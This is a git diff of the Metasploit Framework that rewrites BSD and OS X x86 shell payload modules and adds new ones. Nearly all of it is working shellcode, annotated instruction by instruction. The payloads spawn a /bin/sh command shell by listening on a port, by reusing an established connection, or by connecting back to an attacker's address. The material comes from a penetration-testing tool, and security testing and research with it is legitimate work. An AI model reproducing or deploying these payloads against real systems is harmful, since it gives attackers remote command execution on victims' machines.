diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb index 7e6a8e61b3..50bc86cd3b 100644 --- a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb @@ -1,14 +1,4 @@ -## -# $Id:$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/projects/Framework/ -## - +# $Id$ require 'msf/core' require 'msf/core/handler/bind_tcp' @@ -29,7 +19,7 @@ module ShellBindTcp 'Name' => 'BSD Command Shell, Bind TCP Inline', 'Version' => '$Revision$', 'Description' => 'Listen for a connection and spawn a command shell', - 'Author' => [ 'skape', 'vlad902' ], + 'Author' => 'Ramon de Carvalho Valle ', 'License' => MSF_LICENSE, 'Platform' => 'bsd', 'Arch' => ARCH_X86, @@ -39,14 +29,47 @@ module ShellBindTcp { 'Offsets' => { - 'LPORT' => [ 0x8, 'n' ], + 'LPORT' => [ 6, 'n' ], }, 'Payload' => - "\x6a\x61\x58\x99\x52\x68\x10\x02\xbf\xbf\x89\xe1\x52\x42\x52\x42" + - "\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0" + - "\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97\x6a\x02\x59\x6a\x5a" + - "\x58\x51\x57\x51\xcd\x80\x49\x79\xf5\x50\x68\x2f\x2f\x73\x68\x68" + - "\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53\xb0\x3b\xcd\x80" + "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x68\xff\x02\x04\xd2" +# pushl $0xd20402ff # + "\x89\xe7" +# movl %esp,%edi # + "\x50" +# pushl %eax # + "\x6a\x01" +# pushl $0x01 # + "\x6a\x02" +# pushl $0x02 # + "\x6a\x10" +# pushl $0x10 # + "\xb0\x61" +# movb $0x61,%al # + "\xcd\x80" +# int $0x80 # + "\x57" +# pushl %edi # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x6a\x68" +# pushl $0x68 # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\x89\x47\xec" +# movl %eax,-0x14(%edi) # + "\xb0\x6a" +# movb $0x6a,%al # + "\xcd\x80" +# int $0x80 # + "\xb0\x1e" +# movb $0x1e,%al # + "\xcd\x80" +# int $0x80 # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x6a\x5a" +# pushl $0x5a # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\xff\x4f\xe4" +# decl -0x1c(%edi) # + "\x79\xf6" +# jns # + "\x50" +# pushl %eax # + "\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f # + "\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f # + "\x89\xe3" +# movl %esp,%ebx # + "\x50" +# pushl %eax # + "\x54" +# pushl %esp # + "\x53" +# pushl %ebx # + "\x50" +# pushl %eax # + "\xb0\x3b" +# movb $0x3b,%al # + "\xcd\x80" # int $0x80 # } )) end diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb index b8d5441575..15c1f335d3 100644 --- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb @@ -1,14 +1,4 @@ -## -# $Id:$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/projects/Framework/ -## - +# $Id$ require 'msf/core' require 'msf/core/handler/reverse_tcp' @@ -29,7 +19,7 @@ module ShellReverseTcp 'Name' => 'BSD Command Shell, Reverse TCP Inline', 'Version' => '$Revision$', 'Description' => 'Connect back to attacker and spawn a command shell', - 'Author' => 'skape', + 'Author' => 'Ramon de Carvalho Valle ', 'License' => MSF_LICENSE, 'Platform' => 'bsd', 'Arch' => ARCH_X86, @@ -39,15 +29,41 @@ module ShellReverseTcp { 'Offsets' => { - 'LHOST' => [ 0x0a, 'ADDR' ], - 'LPORT' => [ 0x13, 'n' ], + 'LHOST' => [ 1, 'ADDR' ], + 'LPORT' => [ 8, 'n' ], }, 'Payload' => - "\x6a\x61\x58\x99\x52\x42\x52\x42\x52\x68\x7f\x00\x00\x01\xcd\x80" + - "\x68\x10\x02\xbf\xbf\x89\xe1\x6a\x10\x51\x50\x51\x97\x6a\x62\x58" + - "\xcd\x80\x6a\x02\x59\xb0\x5a\x51\x57\x51\xcd\x80\x49\x79\xf6\x50" + - "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53" + - "\xb0\x3b\xcd\x80" + "\x68\x7f\x00\x00\x01" +# pushl $0x0100007f # + "\x68\xff\x02\x04\xd2" +# pushl $0xd20402ff # + "\x89\xe7" +# movl %esp,%edi # + "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x6a\x01" +# pushl $0x01 # + "\x6a\x02" +# pushl $0x02 # + "\x6a\x10" +# pushl $0x10 # + "\xb0\x61" +# movb $0x61,%al # + "\xcd\x80" +# int $0x80 # + "\x57" +# pushl %edi # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x6a\x62" +# pushl $0x62 # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\x50" +# pushl %eax # + "\x6a\x5a" +# pushl $0x5a # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\xff\x4f\xe8" +# decl -0x18(%edi) # + "\x79\xf6" +# jns # + "\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f # + "\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f # + "\x89\xe3" +# movl %esp,%ebx # + "\x50" +# pushl %eax # + "\x54" +# pushl %esp # + "\x53" +# pushl %ebx # + "\x50" +# pushl %eax # + "\xb0\x3b" +# movb $0x3b,%al # + "\xcd\x80" # int $0x80 # } )) end diff --git a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb index 8ca32af1d1..d399c2c590 100644 --- a/modules/payloads/singles/osx/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/osx/x86/shell_bind_tcp.rb @@ -1,14 +1,4 @@ -## -# $Id:$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/projects/Framework/ -## - +# $Id$ require 'msf/core' require 'msf/core/handler/bind_tcp' @@ -29,8 +19,8 @@ module ShellBindTcp 'Name' => 'OSX Command Shell, Bind TCP Inline', 'Version' => '$Revision$', 'Description' => 'Listen for a connection and spawn a command shell', - 'Author' => 'nemo ', - 'License' => BSD_LICENSE, + 'Author' => 'Ramon de Carvalho Valle ', + 'License' => MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::BindTcp, @@ -39,15 +29,48 @@ module ShellBindTcp { 'Offsets' => { - 'LPORT' => [ 13, 'n' ], + 'LPORT' => [ 6, 'n' ], }, 'Payload' => - "\x6a\x42\x58\xcd\x80\x6a\x61\x58\x99\x52\x68\x10\x02\x11\x5c"+ - "\x89\xe1\x52\x42\x52\x42\x52\x6a\x10\xcd\x80\x99\x93\x51\x53"+ - "\x52\x6a\x68\x58\xcd\x80\xb0\x6a\xcd\x80\x52\x53\x52\xb0\x1e"+ - "\xcd\x80\x97\x6a\x02\x59\x6a\x5a\x58\x51\x57\x51\xcd\x80\x49"+ - "\x0f\x89\xf1\xff\xff\xff\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"+ - "\x69\x6e\x89\xe3\x50\x54\x54\x53\x53\xb0\x3b\xcd\x80", + "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x68\xff\x02\x04\xd2" +# pushl $0xd20402ff # + "\x89\xe7" +# movl %esp,%edi # + "\x50" +# pushl %eax # + "\x6a\x01" +# pushl $0x01 # + "\x6a\x02" +# pushl $0x02 # + "\x6a\x10" +# pushl $0x10 # + "\xb0\x61" +# movb $0x61,%al # + "\xcd\x80" +# int $0x80 # + "\x57" +# pushl %edi # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x6a\x68" +# pushl $0x68 # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\x89\x47\xec" +# movl %eax,-0x14(%edi) # + "\xb0\x6a" +# movb $0x6a,%al # + "\xcd\x80" +# int $0x80 # + "\xb0\x1e" +# movb $0x1e,%al # + "\xcd\x80" +# int $0x80 # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x6a\x5a" +# pushl $0x5a # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\xff\x4f\xe4" +# decl -0x1c(%edi) # + "\x79\xf6" +# jns # + "\x50" +# pushl %eax # + "\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f # + "\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f # + "\x89\xe3" +# movl %esp,%ebx # + "\x50" +# pushl %eax # + "\x54" +# pushl %esp # + "\x54" +# pushl %esp # + "\x53" +# pushl %ebx # + "\x50" +# pushl %eax # + "\xb0\x3b" +# movb $0x3b,%al # + "\xcd\x80" # int $0x80 # } )) end diff --git a/modules/payloads/singles/osx/x86/shell_find_port.rb b/modules/payloads/singles/osx/x86/shell_find_port.rb new file mode 100644 index 0000000000..4f23cb5962 --- /dev/null +++ b/modules/payloads/singles/osx/x86/shell_find_port.rb @@ -0,0 +1,75 @@ +# $Id$ + +require 'msf/core' +require 'msf/core/handler/find_port' +require 'msf/base/sessions/command_shell' + +module Msf +module Payloads +module Singles +module Osx +module X86 + +module ShellFindPort + + include Msf::Payload::Single + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'OSX Command Shell, Find Port Inline', + 'Version' => '$Revision$', + 'Description' => 'Spawn a shell on an established connection', + 'Author' => 'Ramon de Carvalho Valle ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::FindPort, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'CPORT' => [ 25, 'n' ], + }, + 'Payload' => + "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x89\xe7" +# movl %esp,%edi # + "\x6a\x10" +# pushl $0x10 # + "\x54" +# pushl %esp # + "\x57" +# pushl %edi # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x58" +# popl %eax # + "\x58" +# popl %eax # + "\x40" +# incl %eax # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x6a\x1f" +# pushl $0x1f # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\x66\x81\x7f\x02\x04\xd2"+# cmpw $0xd204,0x02(%edi) # + "\x75\xee" +# jne # + "\x50" +# pushl %eax # + "\x6a\x5a" +# pushl $0x5a # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\xff\x4f\xf0" +# decl -0x10(%edi) # + "\x79\xf6" +# jns # + "\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f # + "\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f # + "\x89\xe3" +# movl %esp,%ebx # + "\x50" +# pushl %eax # + "\x54" +# pushl %esp # + "\x54" +# pushl %esp # + "\x53" +# pushl %ebx # + "\x50" +# pushl %eax # + "\xb0\x3b" +# movb $0x3b,%al # + "\xcd\x80" # int $0x80 # + } + )) + end + +end + +end end end end end diff --git a/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb new file mode 100644 index 0000000000..b9ab6cd9d9 --- /dev/null +++ b/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb @@ -0,0 +1,74 @@ +# $Id$ + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' + +module Msf +module Payloads +module Singles +module Osx +module X86 + +module ShellReverseTcp + + include Msf::Payload::Single + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'OSX Command Shell, Reverse TCP Inline', + 'Version' => '$Revision$', + 'Description' => 'Connect back to attacker and spawn a command shell', + 'Author' => 'Ramon de Carvalho Valle ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'LHOST' => [ 1, 'ADDR' ], + 'LPORT' => [ 8, 'n' ], + }, + 'Payload' => + "\x68\x7f\x00\x00\x01" +# pushl $0x0100007f # + "\x68\xff\x02\x04\xd2" +# pushl $0xd20402ff # + "\x89\xe7" +# movl %esp,%edi # + "\x31\xc0" +# xorl %eax,%eax # + "\x50" +# pushl %eax # + "\x6a\x01" +# pushl $0x01 # + "\x6a\x02" +# pushl $0x02 # + "\x6a\x10" +# pushl $0x10 # + "\xb0\x61" +# movb $0x61,%al # + "\xcd\x80" +# int $0x80 # + "\x57" +# pushl %edi # + "\x50" +# pushl %eax # + "\x50" +# pushl %eax # + "\x6a\x62" +# pushl $0x62 # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\x50" +# pushl %eax # + "\x6a\x5a" +# pushl $0x5a # + "\x58" +# popl %eax # + "\xcd\x80" +# int $0x80 # + "\xff\x4f\xe8" +# decl -0x18(%edi) # + "\x79\xf6" +# jns # + "\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f # + "\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f # + "\x89\xe3" +# movl %esp,%ebx # + "\x50" +# pushl %eax # + "\x54" +# pushl %esp # + "\x54" +# pushl %esp # + "\x53" +# pushl %ebx # + "\x50" +# pushl %eax # + "\xb0\x3b" +# movb $0x3b,%al # + "\xcd\x80" # int $0x80 # + } + )) + end + +end + +end end end end end